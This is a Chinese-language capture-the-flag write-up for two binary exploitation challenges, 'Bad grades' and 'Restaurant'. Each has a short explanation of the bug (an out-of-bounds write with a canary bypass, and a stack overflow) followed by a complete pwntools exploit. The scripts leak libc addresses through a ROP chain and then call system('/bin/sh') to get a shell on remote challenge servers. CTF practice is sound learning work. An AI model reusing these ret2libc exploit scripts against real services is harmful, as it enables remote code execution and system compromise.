Bad grades
没有开启ASLR
在功能2存在越界写,虽然有canary但是可以通过输入’-'绕过。
输入数据可以利用python的struct解包成双精度浮点数,做了这些就是常规的ROP环节了。
exp
from pwn import *
def gd():
gdb.attach(p)
pause()
def htd(hex_value):
binary = hex_value.to_bytes(8, 'big')
double_value = struct.unpack('!d', binary)[0]
return double_value
#p = process("./bad_grades")
p = remote('83.136.251.235',31126)
elf = ELF("./bad_grades")
libc = ELF("./libc.so.6")
pop_rdi = 0x0000000000401263
pop_rsi = 0x0000000000401261
vuln_func = 0x400FD5
ret_addr = 0x0000000000400666
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b': ')
p.sendline(str(39).encode())
for i in range(35):
p.sendline(b'-')
p.sendline(str(htd(pop_rdi)).encode())
p.sendline(str(htd(elf.got['exit'])).encode())
p.sendline(str(htd(elf.plt['puts'])).encode())
p.sendline(str(htd(vuln_func)).encode())
p.recvuntil(b'Your new average is: ')
p.recvline()
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym['exit']
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
p.recvuntil(b': ')
p.sendline(str(39).encode())
for i in range(35):
p.sendline(b'-')
p.sendline(str(htd(pop_rdi)).encode())
p.sendline(str(htd(sh_addr)).encode())
p.sendline(str(htd(ret_addr)).encode())
p.sendline(str(htd(sys_addr)).encode())
#gd()
p.interactive()
成功拿到shell提交flag
Restaurant
没有开启ASLR
在fill功能下存在栈溢出和上一题同理直接打ROP就行。
exp
from pwn import *
def gd():
gdb.attach(p)
pause()
#p = process("./restaurant")
p = remote('94.237.56.188',33958)
elf = ELF("./restaurant")
libc = ELF("./libc.so.6")
ret_addr = 0x000000000040063e
pop_rdi = 0x00000000004010a3
vuln_func = 0x000000000400E4A
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
#gd()
p.sendline(b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['exit']) + p64(elf.plt['puts']) + p64(vuln_func))
p.recvuntil(b'a' * 0x28)
p.recv(3)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.sym['exit']
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
print(hex(libc_base))
p.recvuntil(b'> ')
p.sendline(b'a' * 0x28 + p64(pop_rdi) + p64(sh_addr) + p64(ret_addr) + p64(sys_addr))
p.interactive()
成功拿到shell提交flag